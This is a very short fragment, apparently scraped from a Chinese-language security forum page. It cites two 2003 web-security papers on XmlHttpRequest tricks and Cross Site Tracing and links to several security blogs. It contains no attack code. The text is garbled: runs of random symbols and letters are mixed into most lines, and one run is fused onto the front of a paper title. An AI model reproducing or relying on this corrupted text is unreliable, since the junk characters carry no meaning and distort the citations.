$ ^. h; ]7 j( F+ fOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
+ E: Z# ~, s, L# Q. @, LXeye Team http://xeye.us/
1 b8 |" G7 R  C7 i" `% L3 r& H